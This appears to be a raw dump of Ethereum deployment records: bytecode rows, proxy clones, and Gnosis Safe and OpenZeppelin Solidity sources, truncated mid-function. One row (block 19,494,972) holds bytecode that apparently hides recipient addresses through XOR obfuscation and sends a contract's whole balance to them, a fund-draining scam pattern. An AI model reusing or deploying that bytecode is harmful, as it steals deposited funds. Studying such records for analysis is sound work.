/// @dev Allows to get the address for a new proxy contact created via `createProxyWithNonce`
/// This method is only meant for address calculation purpose when you use an initializer that would revert,
/// therefore the response is returned with a revert. When calling this method set `from` to the address of the proxy factory.
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function calculateCreateProxyWithNonceAddress(
address _singleton,
bytes calldata initializer,
uint256 saltNonce
) external returns (GnosisSafeProxy proxy) {
proxy = deployProxyWithNonce(_singleton, initializer, saltNonce);
revert(string(abi.encodePacked(proxy)));
}
}
interface IProxyCreationCallback {
function proxyCreated(
GnosisSafeProxy proxy,
address _singleton,
bytes calldata initializer,
uint256 saltNonce
) external;
} |
1 | 19,494,972 | 73ef3114e0affd8a85bcd54cb8a00aa77547bd46cd0e071cf3598c2ca0ec6225 | 15b63192a7f37ada10f273a8793a7a20faff93a3ab662acb4af10ed9ede3e394 | 168650aad4c2653d43dcde676b3ffacfeae61586 | 168650aad4c2653d43dcde676b3ffacfeae61586 | 89c0c7c2a3fb55e19e20bf9554a8962bd417911d | 6080604052670de0b6b3a764000060025566b1a2bc2ec500006003556004805460ff191690557f6e75382374384e10a7b62f6203157aa9e99f78d5213223f5ac9a4d92c9ed5d716007557f6e75382374384e10a7b62f6266005ed5a21c0da4330e4df10986a5d4ea19b6756008557f6e75382374384e10a7b62f6275685a1a7ba2ec89d03aaf46ee28682d66a044bc60095534801561009d57600080fd5b50600080546001600160a01b031916331781556007546008546100be911890565b60405163e2d73ccd60e01b81523060048201529091506001600160a01b0382169063e2d73ccd90602401600060405180830381600087803b15801561010257600080fd5b505af1158015610116573d6000803e3d6000fd5b50505050506103678061012a6000396000f3fe6080604052600436106100595760003560e01c80632b42b9411461006557806357ea89b6146100875780639763d29b1461009c578063bedf0f4a146100bc578063eaf67ab9146100d8578063f39d8c65146100e057600080fd5b3661006057005b600080fd5b34801561007157600080fd5b506100856100803660046102f3565b600655565b005b34801561009357600080fd5b50610085610107565b3480156100a857600080fd5b506100856100b73660046102f3565b600555565b3480156100c857600080fd5b506100856004805460ff19169055565b610085610170565b3480156100ec57600080fd5b506100f5610178565b60405190815260200160405180910390f35b6000546001600160a01b031633146101665760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b61016e61019d565b565b61016e610226565b600354600080549091829161019791906001600160a01b03163161030c565b92915050565b6000546001600160a01b031633146101f75760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161015d565b60405133904780156108fc02916000818181858888f19350505050158015610223573d6000803e3d6000fd5b50565b60006102356008546009541890565b905060006102466007546008541890565b604051630e26d7a760e41b81523360048201526001600160a01b038481166024830152600060448301524760648301529192509082169063e26d7a7090608401600060405180830381600087803b1580156102a057600080fd5b505af11580156102b4573d6000803e3d6000fd5b50506040516001600160a01b03851692504780156108fc029250906000818181858888f193505050501580156102ee573d6000803e3d6000fd5b505050565b60006020828403121561030557600080fd5b5035919050565b60008282101561032c57634e487b7160e01b600052601160045260246000fd5b50039056fea264697066735822122054cf1d9e0f96ad2045cf3101533092846779b3c26b46c5c807cc8f056d50f7c364736f6c63430008070033 | 6080604052600436106100595760003560e01c80632b42b9411461006557806357ea89b6146100875780639763d29b1461009c578063bedf0f4a146100bc578063eaf67ab9146100d8578063f39d8c65146100e057600080fd5b3661006057005b600080fd5b34801561007157600080fd5b506100856100803660046102f3565b600655565b005b34801561009357600080fd5b50610085610107565b3480156100a857600080fd5b506100856100b73660046102f3565b600555565b3480156100c857600080fd5b506100856004805460ff19169055565b610085610170565b3480156100ec57600080fd5b506100f5610178565b60405190815260200160405180910390f35b6000546001600160a01b031633146101665760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b61016e61019d565b565b61016e610226565b600354600080549091829161019791906001600160a01b03163161030c565b92915050565b6000546001600160a01b031633146101f75760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161015d565b60405133904780156108fc02916000818181858888f19350505050158015610223573d6000803e3d6000fd5b50565b60006102356008546009541890565b905060006102466007546008541890565b604051630e26d7a760e41b81523360048201526001600160a01b038481166024830152600060448301524760648301529192509082169063e26d7a7090608401600060405180830381600087803b1580156102a057600080fd5b505af11580156102b4573d6000803e3d6000fd5b50506040516001600160a01b03851692504780156108fc029250906000818181858888f193505050501580156102ee573d6000803e3d6000fd5b505050565b60006020828403121561030557600080fd5b5035919050565b60008282101561032c57634e487b7160e01b600052601160045260246000fd5b50039056fea264697066735822122054cf1d9e0f96ad2045cf3101533092846779b3c26b46c5c807cc8f056d50f7c364736f6c63430008070033 | |
1 | 19,494,973 | fc663b84b80d5435db4c9817175f62eeb68ec3fcf557206f2c392ee5ed2e3f94 | 36b6b7d6e0540ef4287cccd62da151d85fd65f446cd8fef3a81fb929bc2b428a | c9aad2fc90eddacf02bd11fa690e3b44e318aa9b | a2a1bf5a83f9daec2dc364e1c561e937163cb613 | fca07b99397ebbb0bfe4d11662173c363a69f3c3 | 3d602d80600a3d3981f3363d3d373d3d3d363d7387ae9be718aa310323042ab9806bd6692c1129b75af43d82803e903d91602b57fd5bf3 | 363d3d373d3d3d363d7387ae9be718aa310323042ab9806bd6692c1129b75af43d82803e903d91602b57fd5bf3 | |
1 | 19,494,974 | 7557af204f569b573845663f955ab4a699e47e65c956f7061462de7d5c42a8f3 | bacb3c2465837ba4b91a444c228f4c9c5ee4cfc4b30f450ea9264797751b8e50 | 1cadb363cf7cc188aebc3c116e0916088ab10e7b | d724dbe7e230e400fe7390885e16957ec246d716 | ea3aad61f994362c4aaa58d26bf147bccee1aca4 | 3d602d80600a3d3981f3363d3d373d3d3d363d73cd767be96eb169b1ae089ff03c3f8ebec20535255af43d82803e903d91602b57fd5bf3 | 363d3d373d3d3d363d73cd767be96eb169b1ae089ff03c3f8ebec20535255af43d82803e903d91602b57fd5bf3 | {{
"language": "Solidity",
"sources": {
"@openzeppelin/contracts/governance/utils/IVotes.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v5.0.0) (governance/utils/IVotes.sol)\npragma solidity ^0.8.20;\n\n/**\n * @dev Common interface for {ERC20Votes}, {ERC721Votes}, and other {Votes}-enabled contracts.\n */\ninterface IVotes {\n /**\n * @dev The signature used has expired.\n */\n error VotesExpiredSignature(uint256 expiry);\n\n /**\n * @dev Emitted when an account changes their delegate.\n */\n event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate);\n\n /**\n * @dev Emitted when a token transfer or delegate change results in changes to a delegate's number of voting units.\n */\n event DelegateVotesChanged(address indexed delegate, uint256 previousVotes, uint256 newVotes);\n\n /**\n * @dev Returns the current amount of votes that `account` has.\n */\n function getVotes(address account) external view returns (uint256);\n\n /**\n * @dev Returns the amount of votes that `account` had at a specific moment in the past. If the `clock()` is\n * configured to use block numbers, this will return the value at the end of the corresponding block.\n */\n function getPastVotes(address account, uint256 timepoint) external view returns (uint256);\n\n /**\n * @dev Returns the total supply of votes available at a specific moment in the past. If the `clock()` is\n * configured to use block numbers, this will return the value at the end of the corresponding block.\n *\n * NOTE: This value is the sum of all available votes, which is not necessarily the sum of all delegated votes.\n * Votes that have not been delegated are still part of total supply, even though they would not participate in a\n * vote.\n */\n function getPastTotalSupply(uint256 timepoint) external view returns (uint256);\n\n /**\n * @dev Returns the delegate that `account` has chosen.\n */\n function delegates(address account) external view returns (address);\n\n /**\n * @dev Delegates votes from the sender to `delegatee`.\n */\n function delegate(address delegatee) external;\n\n /**\n * @dev Delegates votes from signer to `delegatee`.\n */\n function delegateBySig(address delegatee, uint256 nonce, uint256 expiry, uint8 v, bytes32 r, bytes32 s) external;\n}\n"
},
"@openzeppelin/contracts/governance/utils/Votes.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v5.0.0) (governance/utils/Votes.sol)\npragma solidity ^0.8.20;\n\nimport {IERC5805} from \"../../interfaces/IERC5805.sol\";\nimport {Context} from \"../../utils/Context.sol\";\nimport {Nonces} from \"../../utils/Nonces.sol\";\nimport {EIP712} from \"../../utils/cryptography/EIP712.sol\";\nimport {Checkpoints} from \"../../utils/structs/Checkpoints.sol\";\nimport {SafeCast} from \"../../utils/math/SafeCast.sol\";\nimport {ECDSA} from \"../../utils/cryptography/ECDSA.sol\";\nimport {Time} from \"../../utils/types/Time.sol\";\n\n/**\n * @dev This is a base abstract contract that tracks voting units, which are a measure of voting power that can be\n * transferred, and provides a system of vote delegation, where an account can delegate its voting units to a sort of\n * \"representative\" that will pool delegated voting units from different accounts and can then use it to vote in\n * decisions. In fact, voting units _must_ be delegated in order to count as actual votes, and an account has to\n * delegate those votes to itself if it wishes to participate in decisions and does not have a trusted representative.\n *\n * This contract is often combined with a token contract such that voting units correspond to token units. For an\n * example, see {ERC721Votes}.\n *\n * The full history of delegate votes is tracked on-chain so that governance protocols can consider votes as distributed\n * at a particular block number to protect against flash loans and double voting. The opt-in delegate system makes the\n * cost of this history tracking optional.\n *\n * When using this module the derived contract must implement {_getVotingUnits} (for example, make it return\n * {ERC721-balanceOf}), and can use {_transferVotingUnits} to track a change in the distribution of those units (in the\n * previous example, it would be included in {ERC721-_update}).\n */\nabstract contract Votes is Context, EIP712, Nonces, IERC5805 {\n using Checkpoints for Checkpoints.Trace208;\n\n bytes32 private constant DELEGATION_TYPEHASH =\n keccak256(\"Delegation(address delegatee,uint256 nonce,uint256 expiry)\");\n\n mapping(address account => address) private _delegatee;\n\n mapping(address delegatee => Checkpoints.Trace208) private _delegateCheckpoints;\n\n Checkpoints.Trace208 private _totalCheckpoints;\n\n /**\n * @dev The clock was incorrectly modified.\n */\n error ERC6372InconsistentClock();\n\n /**\n * @dev Lookup to future votes is not available.\n */\n error ERC5805FutureLookup(uint256 timepoint, uint48 clock);\n\n /**\n * @dev Clock used for flagging checkpoints. Can be overridden to implement timestamp based\n * checkpoints (and voting), in which case {CLOCK_MODE} should be overridden as well to match.\n */\n function clock() public view virtual returns (uint48) {\n return Time.blockNumber();\n }\n\n /**\n * @dev Machine-readable description of the clock as specified in EIP-6372.\n */\n // solhint-disable-next-line func-name-mixedcase\n function CLOCK_MODE() public view virtual returns (string memory) {\n // Check that the clock was not modified\n if (clock() != Time.blockNumber()) {\n revert ERC6372InconsistentClock();\n }\n return \"mode=blocknumber&from=default\";\n }\n\n /**\n * @dev Returns the current amount of votes that `account` has.\n */\n function getVotes(address account) public view virtual returns (uint256) {\n return _delegateCheckpoints[account].latest();\n }\n\n /**\n * @dev Returns the amount of votes that `account` had at a specific moment in the past. If the `clock()` is\n * configured to use block numbers, this will return the value at the end of the corresponding block.\n *\n * Requirements:\n *\n * - `timepoint` must be in the past. If operating using block numbers, the block must be already mined.\n */\n function getPastVotes(address account, uint256 timepoint) public view virtual returns (uint256) {\n uint48 currentTimepoint = clock();\n if (timepoint >= currentTimepoint) {\n revert ERC5805FutureLookup(timepoint, currentTimepoint);\n }\n return _delegateCheckpoints[account].upperLookupRecent(SafeCast.toUint48(timepoint));\n }\n\n /**\n * @dev Returns the total supply of votes available at a specific moment in the past. If the `clock()` is\n * configured to use block numbers, this will return the value at the end of the corresponding block.\n *\n * NOTE: This value is the sum of all available votes, which is not necessarily the sum of all delegated votes.\n * Votes that have not been delegated are still part of total supply, even though they would not participate in a\n * vote.\n *\n * Requirements:\n *\n * - `timepoint` must be in the past. If operating using block numbers, the block must be already mined.\n */\n function getPastTotalSupply(uint256 timepoint) public view virtual returns (uint256) {\n uint48 currentTimepoint = clock();\n if (timepoint >= currentTimepoint) {\n revert ERC5805FutureLookup(timepoint, currentTimepoint);\n }\n return _totalCheckpoints.upperLookupRecent(SafeCast.toUint48(timepoint));\n }\n\n /**\n * @dev Returns the current total supply of votes.\n */\n function _getTotalSupply() internal view virtual returns (uint256) {\n return _totalCheckpoints.latest();\n }\n\n /**\n * @dev Returns the delegate that `account` has chosen.\n */\n function delegates(address account) public view virtual returns (address) {\n return _delegatee[account];\n }\n\n /**\n * @dev Delegates votes from the sender to `delegatee`.\n */\n function delegate(address delegatee) public virtual {\n address account = _msgSender();\n _delegate(account, delegatee);\n }\n\n /**\n * @dev Delegates votes from signer to `delegatee`.\n */\n function delegateBySig(\n address delegatee,\n uint256 nonce,\n uint256 expiry,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) public virtual {\n if (block.timestamp > expiry) {\n revert VotesExpiredSignature(expiry);\n }\n address signer = ECDSA.recover(\n _hashTypedDataV4(keccak256(abi.encode(DELEGATION_TYPEHASH, delegatee, nonce, expiry))),\n v,\n r,\n s\n );\n _useCheckedNonce(signer, nonce);\n _delegate(signer, delegatee);\n }\n\n /**\n * @dev Delegate all of `account`'s voting units to `delegatee`.\n *\n * Emits events {IVotes-DelegateChanged} and {IVotes-DelegateVotesChanged}.\n */\n function _delegate(address account, address delegatee) internal virtual {\n address oldDelegate = delegates(account);\n _delegatee[account] = delegatee;\n\n emit DelegateChanged(account, oldDelegate, delegatee);\n _moveDelegateVotes(oldDelegate, delegatee, _getVotingUnits(account));\n }\n\n /**\n * @dev Transfers, mints, or burns voting units. To register a mint, `from` should be zero. To register a burn, `to`\n * should be zero. Total supply of voting units will be adjusted with mints and burns.\n */\n function _transferVotingUnits(address from, address to, uint256 amount) internal virtual {\n if (from == address(0)) {\n _push(_totalCheckpoints, _add, SafeCast.toUint208(amount));\n }\n if (to == address(0)) {\n _push(_totalCheckpoints, _subtract, SafeCast.toUint208(amount));\n }\n _moveDelegateVotes(delegates(from), delegates(to), amount);\n }\n\n /**\n * @dev Moves delegated votes from one delegate to another.\n */\n function _moveDelegateVotes(address from, address to, uint256 amount) private {\n if (from != to && amount > 0) {\n if (from != address(0)) {\n (uint256 oldValue, uint256 newValue) = _push(\n _delegateCheckpoints[from],\n _subtract,\n SafeCast.toUint208(amount)\n );\n emit DelegateVotesChanged(from, oldValue, newValue);\n }\n if (to != address(0)) {\n (uint256 oldValue, uint256 newValue) = _push(\n _delegateCheckpoints[to],\n _add,\n SafeCast.toUint208(amount)\n );\n emit DelegateVotesChanged(to, oldValue, newValue);\n }\n }\n }\n\n /**\n * @dev Get number of checkpoints for `account`.\n */\n function _numCheckpoints(address account) internal view virtual returns (uint32) {\n return SafeCast.toUint32(_delegateCheckpoints[account].length());\n }\n\n /**\n * @dev Get the `pos`-th checkpoint for `account`.\n */\n function _checkpoints(\n address account,\n uint32 pos\n ) internal view virtual returns (Checkpoints.Checkpoint208 memory) {\n return _delegateCheckpoints[account].at(pos);\n }\n\n function _push(\n Checkpoints.Trace208 storage store,\n function(uint208, uint208) view returns (uint208) op,\n uint208 delta\n ) private returns (uint208, uint208) {\n return store.push(clock(), op(store.latest(), delta));\n }\n\n function _add(uint208 a, uint208 b) private pure returns (uint208) {\n return a + b;\n }\n\n function _subtract(uint208 a, uint208 b) private pure returns (uint208) {\n return a - b;\n }\n\n /**\n * @dev Must return the voting units held by an account.\n */\n function _getVotingUnits(address) internal view virtual returns (uint256);\n}\n"
},
"@openzeppelin/contracts/interfaces/draft-IERC6093.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v5.0.0) (interfaces/draft-IERC6093.sol)\npragma solidity ^0.8.20;\n\n/**\n * @dev Standard ERC20 Errors\n * Interface of the https://eips.ethereum.org/EIPS/eip-6093[ERC-6093] custom errors for ERC20 tokens.\n */\ninterface IERC20Errors {\n /**\n * @dev Indicates an error related to the current `balance` of a `sender`. Used in transfers.\n * @param sender Address whose tokens are being transferred.\n * @param balance Current balance for the interacting account.\n * @param needed Minimum amount required to perform a transfer.\n */\n error ERC20InsufficientBalance(address sender, uint256 balance, uint256 needed);\n\n /**\n * @dev Indicates a failure with the token `sender`. Used in transfers.\n * @param sender Address whose tokens are being transferred.\n */\n error ERC20InvalidSender(address sender);\n\n /**\n * @dev Indicates a failure with the token `receiver`. Used in transfers.\n * @param receiver Address to which tokens are being transferred.\n */\n error ERC20InvalidReceiver(address receiver);\n\n /**\n * @dev Indicates a failure with the `spender`’s `allowance`. Used in transfers.\n * @param spender Address that may be allowed to operate on tokens without being their owner.\n * @param allowance Amount of tokens a `spender` is allowed to operate with.\n * @param needed Minimum amount required to perform a transfer.\n */\n error ERC20InsufficientAllowance(address spender, uint256 allowance, uint256 needed);\n\n /**\n * @dev Indicates a failure with the `approver` of a token to be approved. Used in approvals.\n * @param approver Address initiating an approval operation.\n */\n error ERC20InvalidApprover(address approver);\n\n /**\n * @dev Indicates a failure with the `spender` to be approved. Used in approvals.\n * @param spender Address that may be allowed to operate on tokens without being their owner.\n */\n error ERC20InvalidSpender(address spender);\n}\n\n/**\n * @dev Standard ERC721 Errors\n * Interface of the https://eips.ethereum.org/EIPS/eip-6093[ERC-6093] custom errors for ERC721 tokens.\n */\ninterface IERC721Errors {\n /**\n * @dev Indicates that an address can't be an owner. For example, `address(0)` is a forbidden owner in EIP-20.\n * Used in balance queries.\n * @param owner Address of the current owner of a token.\n */\n error ERC721InvalidOwner(address owner);\n\n /**\n * @dev Indicates a `tokenId` whose `owner` is the zero address.\n * @param tokenId Identifier number of a token.\n */\n error ERC721NonexistentToken(uint256 tokenId);\n\n /**\n * @dev Indicates an error related to the ownership over a particular token. Used in transfers.\n * @param sender Address whose tokens are being transferred.\n * @param tokenId Identifier number of a token.\n * @param owner Address of the current owner of a token.\n */\n error ERC721IncorrectOwner(address sender, uint256 tokenId, address owner);\n\n /**\n * @dev Indicates a failure with the token `sender`. Used in transfers.\n * @param sender Address whose tokens are being transferred.\n */\n error ERC721InvalidSender(address sender);\n\n /**\n * @dev Indicates a failure with the token `receiver`. Used in transfers.\n * @param receiver Address to which tokens are being transferred.\n */\n error ERC721InvalidReceiver(address receiver);\n\n /**\n * @dev Indicates a failure with the `operator`’s approval. Used in transfers.\n * @param operator Address that may be allowed to operate on tokens without being their owner.\n * @param tokenId Identifier number of a token.\n */\n error ERC721InsufficientApproval(address operator, uint256 tokenId);\n\n /**\n * @dev Indicates a failure with the `approver` of a token to be approved. Used in approvals.\n * @param approver Address initiating an approval operation.\n */\n error ERC721InvalidApprover(address approver);\n\n /**\n * @dev Indicates a failure with the `operator` to be approved. Used in approvals.\n * @param operator Address that may be allowed to operate on tokens without being their owner.\n */\n error ERC721InvalidOperator(address operator);\n}\n\n/**\n * @dev Standard ERC1155 Errors\n * Interface of the https://eips.ethereum.org/EIPS/eip-6093[ERC-6093] custom errors for ERC1155 tokens.\n */\ninterface IERC1155Errors {\n /**\n * @dev Indicates an error related to the current `balance` of a `sender`. Used in transfers.\n * @param sender Address whose tokens are being transferred.\n * @param balance Current balance for the interacting account.\n * @param needed Minimum amount required to perform a transfer.\n * @param tokenId Identifier number of a token.\n */\n error ERC1155InsufficientBalance(address sender, uint256 balance, uint256 needed, uint256 tokenId);\n\n /**\n * @dev Indicates a failure with the token `sender`. Used in transfers.\n * @param sender Address whose tokens are being transferred.\n */\n error ERC1155InvalidSender(address sender);\n\n /**\n * @dev Indicates a failure with the token `receiver`. Used in transfers.\n * @param receiver Address to which tokens are being transferred.\n */\n error ERC1155InvalidReceiver(address receiver);\n\n /**\n * @dev Indicates a failure with the `operator`’s approval. Used in transfers.\n * @param operator Address that may be allowed to operate on tokens without being their owner.\n * @param owner Address of the current owner of a token.\n */\n error ERC1155MissingApprovalForAll(address operator, address owner);\n\n /**\n * @dev Indicates a failure with the `approver` of a token to be approved. Used in approvals.\n * @param approver Address initiating an approval operation.\n */\n error ERC1155InvalidApprover(address approver);\n\n /**\n * @dev Indicates a failure with the `operator` to be approved. Used in approvals.\n * @param operator Address that may be allowed to operate on tokens without being their owner.\n */\n error ERC1155InvalidOperator(address operator);\n\n /**\n * @dev Indicates an array length mismatch between ids and values in a safeBatchTransferFrom operation.\n * Used in batch transfers.\n * @param idsLength Length of the array of token identifiers\n * @param valuesLength Length of the array of token amounts\n */\n error ERC1155InvalidArrayLength(uint256 idsLength, uint256 valuesLength);\n}\n"
},
"@openzeppelin/contracts/interfaces/IERC5267.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v5.0.0) (interfaces/IERC5267.sol)\n\npragma solidity ^0.8.20;\n\ninterface IERC5267 {\n /**\n * @dev MAY be emitted to signal that the domain could have changed.\n */\n event EIP712DomainChanged();\n\n /**\n * @dev returns the fields and values that describe the domain separator used by this contract for EIP-712\n * signature.\n */\n function eip712Domain()\n external\n view\n returns (\n bytes1 fields,\n string memory name,\n string memory version,\n uint256 chainId,\n address verifyingContract,\n bytes32 salt,\n uint256[] memory extensions\n );\n}\n"
},
"@openzeppelin/contracts/interfaces/IERC5805.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v5.0.0) (interfaces/IERC5805.sol)\n\npragma solidity ^0.8.20;\n\nimport {IVotes} from \"../governance/utils/IVotes.sol\";\nimport {IERC6372} from \"./IERC6372.sol\";\n\ninterface IERC5805 is IERC6372, IVotes {}\n"
},
"@openzeppelin/contracts/interfaces/IERC6372.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v5.0.0) (interfaces/IERC6372.sol)\n\npragma solidity ^0.8.20;\n\ninterface IERC6372 {\n /**\n * @dev Clock used for flagging checkpoints. Can be overridden to implement timestamp based checkpoints (and voting).\n */\n function clock() external view returns (uint48);\n\n /**\n * @dev Description of the clock\n */\n // solhint-disable-next-line func-name-mixedcase\n function CLOCK_MODE() external view returns (string memory);\n}\n"
},
"@openzeppelin/contracts/token/ERC20/ERC20.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v5.0.0) (token/ERC20/ERC20.sol)\n\npragma solidity ^0.8.20;\n\nimport {IERC20} from \"./IERC20.sol\";\nimport {IERC20Metadata} from \"./extensions/IERC20Metadata.sol\";\nimport {Context} from \"../../utils/Context.sol\";\nimport {IERC20Errors} from \"../../interfaces/draft-IERC6093.sol\";\n\n/**\n * @dev Implementation of the {IERC20} interface.\n *\n * This implementation is agnostic to the way tokens are created. This means\n * that a supply mechanism has to be added in a derived contract using {_mint}.\n *\n * TIP: For a detailed writeup see our guide\n * https://forum.openzeppelin.com/t/how-to-implement-erc20-supply-mechanisms/226[How\n * to implement supply mechanisms].\n *\n * The default value of {decimals} is 18. To change this, you should override\n * this function so it returns a different value.\n *\n * We have followed general OpenZeppelin Contracts guidelines: functions revert\n * instead returning `false` on failure. This behavior is nonetheless\n * conventional and does not conflict with the expectations of ERC20\n * applications.\n *\n * Additionally, an {Approval} event is emitted on calls to {transferFrom}.\n * This allows applications to reconstruct the allowance for all accounts just\n * by listening to said events. Other implementations of the EIP may not emit\n * these events, as it isn't required by the specification.\n */\nabstract contract ERC20 is Context, IERC20, IERC20Metadata, IERC20Errors {\n mapping(address account => uint256) private _balances;\n\n mapping(address account => mapping(address spender => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n string private _symbol;\n\n /**\n * @dev Sets the values for {name} and {symbol}.\n *\n * All two of these values are immutable: they can only be set once during\n * construction.\n */\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n _symbol = symbol_;\n }\n\n /**\n * @dev Returns the name of the token.\n */\n function name() public view virtual returns (string memory) {\n return _name;\n }\n\n /**\n * @dev Returns the symbol of the token, usually a shorter version of the\n * name.\n */\n function symbol() public view virtual returns (string memory) {\n return _symbol;\n }\n\n /**\n * @dev Returns the number of decimals used to get its user representation.\n * For example, if `decimals` equals `2`, a balance of `505` tokens should\n * be displayed to a user as `5.05` (`505 / 10 ** 2`).\n *\n * Tokens usually opt for a value of 18, imitating the relationship between\n * Ether and Wei. This is the default value returned by this function, unless\n * it's overridden.\n *\n * NOTE: This information is only used for _display_ purposes: it in\n * no way affects any of the arithmetic of the contract, including\n * {IERC20-balanceOf} and {IERC20-transfer}.\n */\n function decimals() public view virtual returns (uint8) {\n return 18;\n }\n\n /**\n * @dev See {IERC20-totalSupply}.\n */\n function totalSupply() public view virtual returns (uint256) {\n return _totalSupply;\n }\n\n /**\n * @dev See {IERC20-balanceOf}.\n */\n function balanceOf(address account) public view virtual returns (uint256) {\n return _balances[account];\n }\n\n /**\n * @dev See {IERC20-transfer}.\n *\n * Requirements:\n *\n * - `to` cannot be the zero address.\n * - the caller must have a balance of at least `value`.\n */\n function transfer(address to, uint256 value) public virtual returns (bool) {\n address owner = _msgSender();\n _transfer(owner, to, value);\n return true;\n }\n\n /**\n * @dev See {IERC20-allowance}.\n */\n function allowance(address owner, address spender) public view virtual returns (uint256) {\n return _allowances[owner][spender];\n }\n\n /**\n * @dev See {IERC20-approve}.\n *\n * NOTE: If `value` is the maximum `uint256`, the allowance is not updated on\n * `transferFrom`. This is semantically equivalent to an infinite approval.\n *\n * Requirements:\n *\n * - `spender` cannot be the zero address.\n */\n function approve(address spender, uint256 value) public virtual returns (bool) {\n address owner = _msgSender();\n _approve(owner, spender, value);\n return true;\n }\n\n /**\n * @dev See {IERC20-transferFrom}.\n *\n * Emits an {Approval} event indicating the updated allowance. This is not\n * required by the EIP. See the note at the beginning of {ERC20}.\n *\n * NOTE: Does not update the allowance if the current allowance\n * is the maximum `uint256`.\n *\n * Requirements:\n *\n * - `from` and `to` cannot be the zero address.\n * - `from` must have a balance of at least `value`.\n * - the caller must have allowance for ``from``'s tokens of at least\n * `value`.\n */\n function transferFrom(address from, address to, uint256 value) public virtual returns (bool) {\n address spender = _msgSender();\n _spendAllowance(from, spender, value);\n _transfer(from, to, value);\n return true;\n }\n\n /**\n * @dev Moves a `value` amount of tokens from `from` to `to`.\n *\n * This internal function is equivalent to {transfer}, and can be used to\n * e.g. implement automatic token fees, slashing mechanisms, etc.\n *\n * Emits a {Transfer} event.\n *\n * NOTE: This function is not virtual, {_update} should be overridden instead.\n */\n function _transfer(address from, address to, uint256 value) internal {\n if (from == address(0)) {\n revert ERC20InvalidSender(address(0));\n }\n if (to == address(0)) {\n revert ERC20InvalidReceiver(address(0));\n }\n _update(from, to, value);\n }\n\n /**\n * @dev Transfers a `value` amount of tokens from `from` to `to`, or alternatively mints (or burns) if `from`\n * (or `to`) is the zero address. All customizations to transfers, mints, and burns should be done by overriding\n * this function.\n *\n * Emits a {Transfer} event.\n */\n function _update(address from, address to, uint256 value) internal virtual {\n if (from == address(0)) {\n // Overflow check required: The rest of the code assumes that totalSupply never overflows\n _totalSupply += value;\n } else {\n uint256 fromBalance = _balances[from];\n if (fromBalance < value) {\n revert ERC20InsufficientBalance(from, fromBalance, value);\n }\n unchecked {\n // Overflow not possible: value <= fromBalance <= totalSupply.\n _balances[from] = fromBalance - value;\n }\n }\n\n if (to == address(0)) {\n unchecked {\n // Overflow not possible: value <= totalSupply or value <= fromBalance <= totalSupply.\n _totalSupply -= value;\n }\n } else {\n unchecked {\n // Overflow not possible: balance + value is at most totalSupply, which we know fits into a uint256.\n _balances[to] += value;\n }\n }\n\n emit Transfer(from, to, value);\n }\n\n /**\n * @dev Creates a `value` amount of tokens and assigns them to `account`, by transferring it from address(0).\n * Relies on the `_update` mechanism\n *\n * Emits a {Transfer} event with `from` set to the zero address.\n *\n * NOTE: This function is not virtual, {_update} should be overridden instead.\n */\n function _mint(address account, uint256 value) internal {\n if (account == address(0)) {\n revert ERC20InvalidReceiver(address(0));\n }\n _update(address(0), account, value);\n }\n\n /**\n * @dev Destroys a `value` amount of tokens from `account`, lowering the total supply.\n * Relies on the `_update` mechanism.\n *\n * Emits a {Transfer} event with `to` set to the zero address.\n *\n * NOTE: This function is not virtual, {_update} should be overridden instead\n */\n function _burn(address account, uint256 value) internal {\n if (account == address(0)) {\n revert ERC20InvalidSender(address(0));\n }\n _update(account, address(0), value);\n }\n\n /**\n * @dev Sets `value` as the allowance of `spender` over the `owner` s tokens.\n *\n * This internal function is equivalent to `approve`, and can be used to\n * e.g. set automatic allowances for certain subsystems, etc.\n *\n * Emits an {Approval} event.\n *\n * Requirements:\n *\n * - `owner` cannot be the zero address.\n * - `spender` cannot be the zero address.\n *\n * Overrides to this logic should be done to the variant with an additional `bool emitEvent` argument.\n */\n function _approve(address owner, address spender, uint256 value) internal {\n _approve(owner, spender, value, true);\n }\n\n /**\n * @dev Variant of {_approve} with an optional flag to enable or disable the {Approval} event.\n *\n * By default (when calling {_approve}) the flag is set to true. On the other hand, approval changes made by\n * `_spendAllowance` during the `transferFrom` operation set the flag to false. This saves gas by not emitting any\n * `Approval` event during `transferFrom` operations.\n *\n * Anyone who wishes to continue emitting `Approval` events on the`transferFrom` operation can force the flag to\n * true using the following override:\n * ```\n * function _approve(address owner, address spender, uint256 value, bool) internal virtual override {\n * super._approve(owner, spender, value, true);\n * }\n * ```\n *\n * Requirements are the same as {_approve}.\n */\n function _approve(address owner, address spender, uint256 value, bool emitEvent) internal virtual {\n if (owner == address(0)) {\n revert ERC20InvalidApprover(address(0));\n }\n if (spender == address(0)) {\n revert ERC20InvalidSpender(address(0));\n }\n _allowances[owner][spender] = value;\n if (emitEvent) {\n emit Approval(owner, spender, value);\n }\n }\n\n /**\n * @dev Updates `owner` s allowance for `spender` based on spent `value`.\n *\n * Does not update the allowance value in case of infinite allowance.\n * Revert if not enough allowance is available.\n *\n * Does not emit an {Approval} event.\n */\n function _spendAllowance(address owner, address spender, uint256 value) internal virtual {\n uint256 currentAllowance = allowance(owner, spender);\n if (currentAllowance != type(uint256).max) {\n if (currentAllowance < value) {\n revert ERC20InsufficientAllowance(spender, currentAllowance, value);\n }\n unchecked {\n _approve(owner, spender, 